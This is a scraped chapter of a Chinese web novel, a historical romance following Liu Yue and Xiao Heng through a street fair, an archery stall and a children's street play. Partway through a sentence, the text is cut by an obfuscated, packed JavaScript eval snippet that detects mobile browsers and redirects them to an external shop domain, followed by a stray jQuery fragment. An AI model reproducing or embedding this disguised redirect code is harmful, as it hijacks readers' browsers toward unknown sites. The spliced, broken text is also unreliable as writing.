文趣网 > 其他小说 > 权臣宰相要上位 > 15. 街头射箭 深巷观戏
    刘月最后还是没买那个玉兰花簪,但是看在摊主热情推销的份上,她另择了两支颜色不一、大气艳丽的牡丹花簪,准备回宫送给刘太妃和贵妃。

    毕竟这几日没少吃刘太妃做的糕点。

    萧衡面无表情地付了钱,刘月拼命忍住笑意,默默地跟在他身旁,心道萧衡其实就是看起来阴郁暴躁,实则很能忍。

    方才见他脸都黑成那样了,竟然没将那摊主如何,不仅如此,还甘愿给人家送了几百文铜钱。

    想到此,刘月微一侧头偷瞄萧衡,萧衡薄唇紧抿,下颌线条锋锐,似乎余气未消。

    “萧……哥哥,别生气啦!”刘月快走几步至萧衡身前,转身对他微一眨眼,负手于腰间,跟着他步伐边倒退边道:“哥哥还不到而立,自是年轻有为,芝兰玉树,是今日彩云将我打扮得太过稚嫩了。”

    她这话倒也不是强行安慰萧衡,今日彩云知道她要出宫玩耍,给她备的粉钗粉裙,再加之萧衡与她身形相差巨大,被认作父女也算情由可缘。

    萧衡放慢了步调,垂眸看她,脸色稍缓,随即嘴角微微荡起,“妹妹若是平时嘴也这样甜就好了。”

    刘月脚步稍顿,知他意有所指,有些心虚,指着他后方扬声道:“糖葫芦,我要来一根!”

    话音方落,她脚下磕绊,身后似乎撞上了什么,险些就要摔倒,萧衡眼尖手快,抓着她抬起的手就往自己这边拽——

    “对不起,姐姐,你没事吧……”

    稚嫩清脆的声音嗫嚅着响起,原来是一七八岁的孩童调皮捣蛋,猛地从街边窜了出来,撞上了刘月。

    “没事没事……”

    刘月忙从萧衡炙热宽厚的胸怀里抽离出来,清咳几声掩饰尴尬,又弯下腰身捏了捏孩子软软糯糯的小脸,柔声道:“是姐姐没有好好走路,姐姐请你吃糖葫芦,你以后不要在人群里乱跑好不好?”

    “好!”见刘月并没有生气,孩童脸上愧色一扫而空,腆着甜甜的笑脸仰头看她,嬉叹道,“姐姐你比天上的仙女还要好看嘞!”

    闻言,刘月也跟着笑了,笑意里却带着几分酸楚,她十分清楚这副绝色容颜并不是她刘月的,如果此刻她顶着自己普通的原生脸,应该不会得到这么多的善意和夸赞吧……

    “你也很好看呢小弟弟……”

    她直起腰身,却见萧衡已拿着买好的两串糖葫芦走了过来。

    她先接过一串,塞到小孩手里,恰好这时孩子的母亲一脸焦色地赶来了,给刘月鞠了好几个躬道歉,刘月忙摆手说没事,结果孩子妈转身就脸色一变,狠狠往孩子屁/股上拍了一掌,斥声道:“叫你别乱跑,就是不听话!”

    孩子顿时泪流满面,边哭边啧啧有味地舔着糖葫芦。

    刘月哭笑不得,侧头去看萧衡,却见萧衡正看着她笑,那笑她从未见过,俊朗疏和而又温柔缱绻,眸色也不再如往日般暗沉冷冽,映照着点点星光与她的笑脸,说不出的绵意重重。

    刘月像被定住一般呆愣在原地,四周人来人往,沸反盈天,她像听不见一样,只盯着萧衡的笑脸看,竟希望这笑意能恒久持远,再多保持一会儿。

    可惜萧衡与她对视不到两秒,就又恢复了冷静无波的肃容。

    “你的糖葫芦。”萧衡将糖葫芦塞进了她的手里,二话不说,继续向前。

    刘月望着他在人群中出挑的背影,心道他是真的很喜欢小孩吧,看见孩子竟能笑成那样,前世她公司里也有个单身男,看见小孩就走不动道,说起来和萧衡年龄相当呢。

    想起萧衡之前立的规矩,不能离他一丈远,忙不迭回神紧步跟上。

    又逛了一会儿,刘月发现前方有个玩乐的摊子似乎与射箭有关,不禁多看了几眼,立时便有个体格健壮的大叔凑上前来,点头哈腰地问她:“姑娘有兴趣否,一箭十文钱,射中靶心能拿到这把同心锁。”

    说着,他晃了晃手里碧绿精致的同心锁,刘月对这玩意倒是没啥兴趣,她往他身后看去,目光定格摊位中心一架风车式的射靶木架。

    “去试试?”萧衡问她。

    “行。”刘月点了点头。

    老板一看有戏,笑呵呵地将二人引到了自己的摊位,而后把角弓交给刘月。

    这角弓要比她在宫里用的稍重些,刘月深吸一口气,从箭桶里抽出一支羽箭,架弓,立正,抽拉,放箭,一气呵成,正中靶心。

    “哎呦姑娘好箭法!”

    老板先是一怔,似乎没料到刘月这样一个粉嫩娇俏的女孩第一箭就射中了靶心,但规矩如此,他还是兴高采烈地将同心锁放到了刘月手里。

    “祝二位永结同心,琴瑟和鸣!”

    “……”

    刘月接过同心锁,瞟了一眼身旁的萧衡,讪讪道:“我们是兄妹……”

    “哎呦瞧我这眼神!”老板一拍脑门,跺脚道:“那便祝你们兄妹同心,家和万事兴!”

    “谢谢。”刘月笑道,又不住去看萧衡,这次他的脸色倒没什么变化,依旧是那副淡漠无波的神情。

    她却觉得有些尴尬,于是朝他晃了晃手里的同心锁,锁链叮叮咚咚响起轻脆的碰撞声,“怎么样,我厉害吧?第一箭就射中靶心了,方才你看见没,那老板的脸都绿了。”

    萧衡斜斜看她一眼,看她眼中炫耀俏皮的笑意,想向往常一样劝她戒骄戒躁,话到嘴边却无论如何也说不出来了。

    “不错,很厉害。”

    刘月笑意微僵,心道不得了了,太阳打西边出来了,萧衡竟然夸她了。

    明明是她先臭屁的,结果萧衡这出其不意的一招倒是打得她有些不好意思。

    她忙转移话题,指了指前方不远处一个冒着腾腾热气的食摊,“这么多人都在排队,肯定好吃,走,我们也去尝尝。”

    二人走近,发现是一卖粉的摊子,简单搭了个四方帐篷,下设六张小桌,人满为患,还在摊前拉了个简陋的横幅,高高挂起,名为“天下第一粉”。

    “两位吗?”老板正手脚麻利地煮粉,抬眸迅速扫了一眼他们,而后下巴往西边努了努,“先去排队。”

    刘月目光看过去,西边临巷的矮墙边排了十几个人,队尾都快窝进巷子里了。

    萧衡却是眉头微蹙,沉声对那老板道:“我出三倍的钱,让我们——”

    话还未说完,一抹凉意倏然袭向他的手背,他垂眸望去,一只白净如玉的小手拉住了他。

    刘月冲他摇摇头,眼睛眨了眨,像星光闪烁,低声道,“出来玩就别用特权了,老实排队去。”

    他未完的话彻底咽下了喉头,被她牵着,脚步丝毫不听使唤,随她走到了队伍的最末,身后是狭窄深长的巷子。

    “好香啊……”刘月惦起脚尖,用力嗅着空气中漂浮的熟牛肉与米粉交杂的香气,正色凛然道,“这个味,绝对

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905409|213009||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    错不了!”

    萧衡低头看她,见她昂着脖颈嘟着樱唇嗅来嗅去,犹如一只饿坏了的馋猫,模样颇为滑稽可爱。

    他不自觉唇角微扬,正欲说些什么,却听见身后的巷子里传来一道稚嫩的童声。

    “萧衡,我是皇帝,你敢弑君吗!”

    因二人都在巷子口,所以这一声他们听得清清楚楚,对视一眼后纷纷往巷子里望去。

    是几个看起来只有七八岁的孩童,似乎在演什么情景剧,最中间的那个男孩穿着黑袍,面容紧绷,气势冰冷,俨然和萧衡一个模子里刻出来的,他往前走上几步,将一年龄稍大、身上潦草披着黄巾的男孩推到地上,有模有样喝道:“你算什么皇帝?不战而降弃城南逃,又害七万沧州百姓被屠,你有什么脸坐在皇位受天下人供养——”

    说罢,他抽出腰间别着的桃木短剑,象征性地往前一刺,身披黄巾的男孩顿时踉跄着后退几步,作了个吐血的动作,“咣当”一声躺在了地上。

    小萧衡指了指旁侧一楚楚可怜的女孩,“你,就是下一任皇帝。”

    小楚玉战战兢兢道:“我、我还有个哥哥……”

    小萧衡冷笑道:“你哥哥就是个和你父皇一样的懦夫,早就夹着尾巴逃出宫去了。”

    “乱臣贼子!”

    方才那已经下线的“老皇帝”突然直起身,毫无征兆地给自己加了场戏,指着小萧衡狠狠骂了一声。

    小萧衡怔了片刻,却是将手里的桃木剑往地上猛地一摔,然后蹲在地上揉着眼睛又哭又叫,“你凭什么不按我们提前说好的演,我不要演萧衡这个乱臣贼子了,谁爱演谁演!”

    演老皇帝那男孩丝毫不觉自己有错,还幸灾乐祸道:“谁让你是我们当中长得最好看的一个,你不演萧衡谁演?”说罢还做了个挑衅的鬼脸。

    小萧衡怒不可遏,擦了把眼泪,抓起地上的石子就要扔过去,旁边还有俩男孩,忙上前拉住了他衣袖。

    小楚玉站在二人中间,软着声劝道,“……你们别吵了,我娘说萧相才不是乱臣贼子,萧相是好人,他施行的变法,那个青苗法救了好多贫农的性命呢,这样的人怎么可能会是坏人——”

    “他就是坏人,他弑君!”

    “就是,我爹说如今他携天子以令诸侯,就是个不折不扣的奸臣,我才不要演他了,你们再找个人!”

    几个孩子又吵吵嚷嚷地闹了起来。

    这群熊孩子!

    刘月僵在原地,忙去看萧衡脸色,却发现萧衡的半张脸隐在檐角投下的阴影中,正揣兜似笑非笑地观摩这场大戏。

    她眼皮一跳。

    正欲为这群孩子说些好话,萧衡却冷声一笑:“有趣。”

    刘月心绪难明,见孩子们愈吵愈烈,生怕他们再动手打起来,便扬声轻喝道:“别吵了孩子们,天色不早了,快回去休息吧!”

    那些个孩子登时停声了,纷纷回头去看刘月,不多时有个孩子驳她道:“你谁啊?皇帝都没你管得宽!”

    刘月被呛住了,心道好巧不巧,老娘还真是皇帝。

    孩子们又纷纷哄笑着跑走了。

    萧衡一只手搭她肩膀上,轻轻拍了拍,示意她去看前方,刘月这才收了心,认认真真回到队伍里排队。

    趁他俩看戏,有好几个人插进了他们前面。

    刘月止不住腹诽,这队叫他俩排的,越排越靠后。